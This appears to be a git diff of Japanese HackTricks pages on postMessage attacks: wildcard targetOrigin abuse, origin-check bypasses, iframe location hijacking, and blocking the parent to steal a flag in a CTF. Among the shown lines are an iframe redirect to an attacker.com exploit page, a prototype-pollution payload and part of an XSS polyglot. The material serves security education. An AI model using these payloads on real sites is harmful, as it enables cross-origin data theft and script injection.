</details> </details>

View file

@ -2,13 +2,13 @@
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたい**ですかまたはHackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう当社の独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクション * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう * [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有する**には、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。 * **ハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details> </details>
```python ```python
@ -52,12 +52,12 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
``` ```
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**したいですか?または**最新版のPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう * [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 * **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**私をフォロー**してください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 * **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details> </details>

View file

@ -4,15 +4,15 @@
<details> <details>
<summary><strong>**htARTEHackTricks AWS Red Team Expert**でAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>こちら</strong></a><strong></strong></summary> <summary><strong>**htARTEHackTricks AWS Red Team Expert**でAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**か**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - **HackTricksで企業を宣伝したい**か**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する - [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする - 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する
* **ハッキングテクニックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する - **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
</details> </details>
@ -44,14 +44,14 @@ win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded) ## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*') win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
``` ```
**targetOrigin**は'\*'または_https://company.com_のようなURLになります。 注意してください。**targetOrigin** は '\*' または _https://company.com_ のような URL になります。\
**第二のシナリオ**では、**メッセージはそのドメインにのみ送信**されます(たとえウィンドウオブジェクトの起源が異なっていても)。 **第二のシナリオ**では、**メッセージはそのドメインにのみ送信**されます(たとえウィンドウオブジェクトのオリジンが異なっていても)。\
**ワイルドカード**が使用されると、**メッセージは任意のドメインに送信**され、ウィンドウオブジェクトの起源に送信されます。 **ワイルドカード**が使用されると、**メッセージは任意のドメインに送信**され、ウィンドウオブジェクトのオリジンに送信されます。
### iframeと**targetOrigin**のワイルドカード攻撃 ### iframe **targetOrigin** のワイルドカードへの攻撃
[**このレポート**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/)で説明されているように、**X-Frame-Header**保護がないページを見つけ、**ワイルドカード**\*)を使用して**postMessage**を介して**機密**メッセージを送信している場合、**iframe**の**起源**を**変更**して、**機密**メッセージを自分が制御するドメインに**漏洩**させることができます。 [**このレポート**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/)で説明されているように、**X-Frame-Header** 保護がないページを見つけ、**ワイルドカード** (\*) を使用して **postMessage** を介して **機密情報を送信**しているページが **iframed** できる場合、**iframe** の **origin****変更**して、**機密** メッセージを自分が制御するドメインに **漏洩** させることができます。\
ページがiframedであっても**targetOrigin**が**URLに設定されていてワイルドカードではない**場合、この**トリックは機能しません**。 ページが iframed できるが **targetOrigin****URL に設定されていてワイルドカードではない**場合、この **トリックは機能しません**
```markup ```markup
<html> <html>
<iframe src="https://docs.google.com/document/ID" /> <iframe src="https://docs.google.com/document/ID" />
@ -68,7 +68,7 @@ window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
``` ```
## addEventListenerの悪用 ## addEventListenerの悪用
**`addEventListener`**は、JSによって使用される関数で、**`postMessages`を受信する関数を宣言**するために使用されます。\ **`addEventListener`**は、JSが**`postMessages`を受信する関数を宣言する**ために使用される関数です。\
次のようなコードが使用されます: 次のようなコードが使用されます:
```javascript ```javascript
window.addEventListener("message", (event) => { window.addEventListener("message", (event) => {
@ -95,7 +95,7 @@ return;
### オリジンチェックのバイパス ### オリジンチェックのバイパス
- **`event.isTrusted`**属性は、本物のユーザーアクションによって生成されたイベントに対してのみ`True`を返すため、セキュアと見なされます。正しく実装されていればバイパスするのは難しいですが、セキュリティチェックにおける重要性は高いです。 - **`event.isTrusted`**属性は、本物のユーザーアクションによって生成されたイベントにのみ`True`を返すため、セキュアと見なされます。正しく実装されていればバイパスするのは難しいですが、セキュリティチェックでの重要性は顕著です。
- PostMessageイベントでのオリジン検証に**`indexOf()`**を使用すると、バイパスされる可能性があります。この脆弱性を示す例は次のとおりです: - PostMessageイベントでのオリジン検証に**`indexOf()`**を使用すると、バイパスされる可能性があります。この脆弱性を示す例は次のとおりです:
@ -103,15 +103,15 @@ return;
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma") ("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
``` ```
- `String.prototype.search()`の**`search()`**メソッドは正規表現を想定しており、文字列ではありません。正規表現以外のものを渡すと、暗黙のうちに正規表現に変換され、メソッドが潜在的にセキュリティリスクを抱える可能性があります。たとえば: - `String.prototype.search()`の**`search()`**メソッドは正規表現を想定しており、文字列ではありません。正規表現以外のものを渡すと、暗黙のうちに正規表現に変換され、メソッドが潜在的にセキュリティリスクを生じる可能性があります。たとえば:
```javascript ```javascript
"https://www.safedomain.com".search("www.s.fedomain.com") "https://www.safedomain.com".search("www.s.fedomain.com")
``` ```
- **`search()`**関数は、`search()`と同様に正規表現を処理します。正規表現が適切に構されていない場合、バイパスされる可能性があります。 - **`match()`**関数は、`search()`と同様に正規表現を処理します。正規表現が適切に構造化されていない場合、バイパスされる可能性があります。
- **`escapeHtml`**関数は、文字をエスケープして入力を無害化することを意図しています。ただし、新しいエスケープされたオブジェクトを作成せず、既存のオブジェクトのプロパティを上書きします。この動作は悪用される可能性があります。特に、オブジェクトが操作され、その制御されたプロパティが`hasOwnProperty`を認識しないようにできる場合、`escapeHtml`は期待どおりに機能しません。以下の例で示されています: - **`escapeHtml`**関数は、文字をエスケープして入力を無害化することを意図しています。ただし、新しいエスケープされたオブジェクトを作成せず、既存のオブジェクトのプロパティを上書きします。この動作は悪用される可能性があります。特に、オブジェクトが操作され、その制御されたプロパティが`hasOwnProperty`を認識しない場合、`escapeHtml`は期待どおりに機能しません。以下の例で示されています:
- 期待される失敗: - 期待される失敗:
```javascript ```javascript
@ -127,9 +127,9 @@ result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\" result.message; // "'"<b>\"
``` ```
この脆弱性の文脈では、`File`オブジェクトは、読み取り専用の`name`プロパティを持つため、特に悪用されやすいです。このプロパティは、テンプレートで使用されるときに`escapeHtml`関数によって無害化されず、潜在的なセキュリティリスクを引き起こす可能性があります。 この脆弱性の文脈では、`File`オブジェクトは、読み取り専用の`name`プロパティを持つため、`escapeHtml`関数によって無害化されないことが特に悪用されやすいです。このプロパティは、テンプレートで使用されるときに`escapeHtml`関数によって無害化されず、潜在的なセキュリティリスクを引き起こす可能性があります。
- JavaScriptの`document.domain`プロパティは、ドメインを短縮するためにスクリプトによって設定でき、同じ親ドメイン内でより緩やかな同一オリジンポリシーの適用を可能にします。 - JavaScriptの`document.domain`プロパティは、ドメインを短縮するためにスクリプトによって設定でき、同じ親ドメイン内でより緩和された同一オリジンポリシーの適用を可能にします。
### e.origin == window.origin バイパス ### e.origin == window.origin バイパス
@ -154,9 +154,9 @@ if( received_message.source !== window ) {
return; return;
} }
``` ```
**`e.source`**のメッセージを**null**にすることができます。**iframe**を作成し、**postMessage**を**送信**して**すぐに削除**することで実現できます **`e.source`**のメッセージを**null**にすることができます。**iframe**を作成し、**postMessage**を**送信**して**すぐに削除**することで。
詳細は以下を**参照**してください: 詳細は**こちらを参照**:
{% content-ref url="bypassing-sop-with-iframes-2.md" %} {% content-ref url="bypassing-sop-with-iframes-2.md" %}
[bypassing-sop-with-iframes-2.md](bypassing-sop-with-iframes-2.md) [bypassing-sop-with-iframes-2.md](bypassing-sop-with-iframes-2.md)
@ -164,8 +164,8 @@ return;
### X-Frame-Headerバイパス ### X-Frame-Headerバイパス
これらの攻撃を実行するためには、理想的には**被害者のWebページ**を`iframe`内に配置できると良いでしょう。しかし、`X-Frame-Header`のようなヘッダーはその**動作****防ぐ**ことができます。\ これらの攻撃を実行するためには、理想的には**被害者のWebページ**を`iframe`内に配置できると良いでしょう。しかし、`X-Frame-Header`のようなヘッダーはその**動作を防ぐ**ことができます。\
そのようなシナリオでは、より洗練されていない攻撃を使用することができます。脆弱なWebアプリケーションに新しいタブを開いて通信することができます そのようなシナリオでは、より洗練され攻撃を使用することができます。脆弱なWebアプリケーションに新しいタブを開いて通信することができます
```markup ```markup
<script> <script>
var w=window.open("<url>") var w=window.open("<url>")
@ -174,7 +174,7 @@ setTimeout(function(){w.postMessage('text here','*');}, 2000);
``` ```
### メインページをブロックして子に送信されたメッセージを盗む ### メインページをブロックして子に送信されたメッセージを盗む
次のページでは、**メイン**ページを送信前に**ブロック**し、**子のiframe**に送信された**機密postmessageデータ**を盗む方法を示しています。その後、**子のXSSを悪用**して、データが受信される前に**データを漏洩**させます: 次のページでは、**メイン**ページを送信する前に**ブロック**して**子のiframe**に送信された**機密postmessageデータ**を盗む方法を示しています。そして、**子のXSSを悪用**してデータが受信される前にデータを**漏洩**させます:
{% content-ref url="blocking-main-page-to-steal-postmessage.md" %} {% content-ref url="blocking-main-page-to-steal-postmessage.md" %}
[blocking-main-page-to-steal-postmessage.md](blocking-main-page-to-steal-postmessage.md) [blocking-main-page-to-steal-postmessage.md](blocking-main-page-to-steal-postmessage.md)
@ -182,7 +182,7 @@ setTimeout(function(){w.postMessage('text here','*');}, 2000);
### iframeの場所を変更してメッセージを盗む ### iframeの場所を変更してメッセージを盗む
もしX-Frame-Headerを持たないウェブページに別のiframeを含めることができる場合、その子iframeの場所を変更できます。そのため、**ワイルドカード**を使用して送信された**postmessage**を受信している場合、攻撃者はそのiframeの**オリジンを変更**して、自分が**制御する**ページにメッセージを**盗む**ことができます: もしX-Frame-Headerを持たないウェブページに別のiframeを含めることができる場合、その子iframeの場所を変更できます。そのため、**ワイルドカード**を使用して送信された**postmessage**を受信している場合、攻撃者はそのiframeの**origin**を自分が**制御**するページに**変更**してメッセージを**盗む**ことができます:
{% content-ref url="steal-postmessage-modifying-iframe-location.md" %} {% content-ref url="steal-postmessage-modifying-iframe-location.md" %}
[steal-postmessage-modifying-iframe-location.md](steal-postmessage-modifying-iframe-location.md) [steal-postmessage-modifying-iframe-location.md](steal-postmessage-modifying-iframe-location.md)
@ -190,11 +190,11 @@ setTimeout(function(){w.postMessage('text here','*');}, 2000);
### postMessageからPrototype Pollutionおよび/またはXSSへ ### postMessageからPrototype Pollutionおよび/またはXSSへ
`postMessage`を介して送信されるデータがJSによって実行されるシナリオでは、**ページ**に**iframe**を挿入し、`postMessage`を介してエクスプロイトを送信して**プロトタイプ汚染/XSSを悪用**することができます。 `postMessage`を介して送信されるデータがJSによって実行されるシナリオでは、**ページ**に**iframe**を挿入し、**prototype pollution/XSS**を悪用して、`postMessage`を介してエクスプロイトを送信できます。
`postMessage`を介して**非常によく説明されたXSS**の例は、[https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html) で見つけることができます。 `postMessage`を介して**非常によく説明されたXSS**の例は、[https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html) で見つけることができます。
**プロトタイプ汚染を悪用し、その後XSS**を行うエクスプロイトの例を示します。これは`iframe`に対して`postMessage`を使用します: **Prototype Pollutionを悪用してからXSS**を行うエクスプロイトの例を示します。これは`iframe`に`postMessage`を介して送信されます:
```html ```html
<html> <html>
<body> <body>
@ -210,28 +210,28 @@ setTimeout(get_code, 2000);
</body> </body>
</html> </html>
``` ```
**さらなる情報**については以下を参照してください **さらに情報を入手するには**
- [**プロトタイプ汚染**](../deserialization/nodejs-proto-prototype-pollution/)に関するページへのリンク * [**プロトタイプ汚染**](../deserialization/nodejs-proto-prototype-pollution/)に関するページへのリンク
- [**XSS**](../xss-cross-site-scripting/)に関するページへのリンク * [**XSS**](../xss-cross-site-scripting/)に関するページへのリンク
- [**クライアントサイドのプロトタイプ汚染からXSSへ**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)に関するページへのリンク * [**クライアントサイドのプロトタイプ汚染からXSSへ**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)に関するページへのリンク
## 参考文献 ## 参考文献
- [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html) * [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html)
- [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd) * [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd)
- 練習用: [https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon) * 練習用: [https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team ExpertでAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>こちら</strong></a><strong>!</strong></summary> <summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をご確認ください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、Twitterで私をフォローする 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。
- ハッキングテクニックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する * **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details> </details>

View file

@ -2,27 +2,27 @@
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセス**したいですか、または**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけます * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFT](https://opensea.io/collection/the-peass-family)コレクションを見つけます
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れます * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を手に入れます
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 * **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**フォロー**する🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 * **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**
</details> </details>
## Iframesを使用してRCを獲得する ## IframesRCを獲得する
この[**Terjanqの解説**](https://gist.github.com/terjanq/7c1a71b83db5e02253c218765f96a710)によると、ヌル起源から作成されたblobドキュメントはセキュリティ上の利点のために分離されており、メインページをビジーにしておくと、iframeページが実行されます。 この[**Terjanqの解説**](https://gist.github.com/terjanq/7c1a71b83db5e02253c218765f96a710)によると、ヌル起源から作成されたblobドキュメントはセキュリティ上の利点のために分離されており、つまり、メインページをビジーにしておくと、iframeページが実行されます。
基本的に、そのチャレンジでは**分離されたiframeが実行**され、**ロードされた直後**に**親**ページが**フラグを含むポスト**メッセージを**送信**します。\ 基本的に、そのチャレンジでは**分離されたiframeが実行**され、**ロードされた直後**に**親**ページが**フラグを含むポスト**メッセージを**送信**します。\
ただし、そのポストメッセージ通信はXSSに**脆弱**です(**iframe**がJSコードを実行できます ただし、そのポストメッセージ通信は**XSSに対して脆弱**です(**iframe**はJSコードを実行できます
したがって、攻撃者の目標は、**親がiframeを作成**させるが、**親**ページが**機密データ(フラグ)を送信**する**前に**それを**ビジーにしてiframeにペイロードを送信**することです。**親がビジーである間**、**iframeはペイロードを実行**し、**親のポストメッセージメッセージを盗み出すJSを実行**します。\ したがって、攻撃者の目標は、**親がiframeを作成**させるが、**親**ページが**機密データ(フラグ)を送信**する**前に**それを**ビジーにしてiframeにペイロードを送信**することです。**親がビジーである間**、**iframeはペイロードを実行**し、**親のポストメッセージメッセージを盗み、フラグを漏洩**します。\
終的に、iframeはペイロードを実行し、親ページがビジーでなくなると、フラグを送信し、ペイロードがそれを漏洩します。 後に、iframeがペイロードを実行し、親ページがビジーでなくなると、フラグを送信し、ペイロードが漏洩します。
しかし、親を**iframeを生成した直後**に**ビジーにする**方法はどうすればよいでしょうか?**iframeが準備完了して機密データを送信するのを待っている間だけ**。基本的に、親が**実行**する**非同期アクション**を見つける必要があります。たとえば、そのチャレンジでは、親が次のように**ポストメッセージ**を**リッスン**していました: しかし、親を**iframeを生成した直後にビジーにさせ、iframeが準備完了して機密データを送信するのを待っている間だけビジーにさせる**方法はどうすればよいでしょうか?基本的に、親が**実行**する**非同期アクション**を見つける必要があります。たとえば、そのチャレンジでは、親が次のように**ポストメッセージ**を**リッスン**していました:
```javascript ```javascript
window.addEventListener('message', (e) => { window.addEventListener('message', (e) => {
if (e.data == 'blob loaded') { if (e.data == 'blob loaded') {
@ -30,7 +30,7 @@ $("#previewModal").modal();
} }
}); });
``` ```
したがって、**postmessageで大きな整数を送信**し、その比較で**文字列に変換**される可能性がありました。これには時間がかかります。 したがって、**postmessage** **大きな整数を送信**し、その比較で**文字列に変換**される可能性があり、それには時間がかかります。
```bash ```bash
const buffer = new Uint8Array(1e7); const buffer = new Uint8Array(1e7);
win?.postMessage(buffer, '*', [buffer.buffer]); win?.postMessage(buffer, '*', [buffer.buffer]);
@ -39,12 +39,12 @@ win?.postMessage(buffer, '*', [buffer.buffer]);
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong>で**ゼロからヒーローまでのAWSハッキング**を学びましょう!</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセス**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を入手してください * [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に**参加**するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 * **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出して、あなたのハッキングテクニックを共有してください。
</details> </details>

View file

@ -2,19 +2,19 @@
<details> <details>
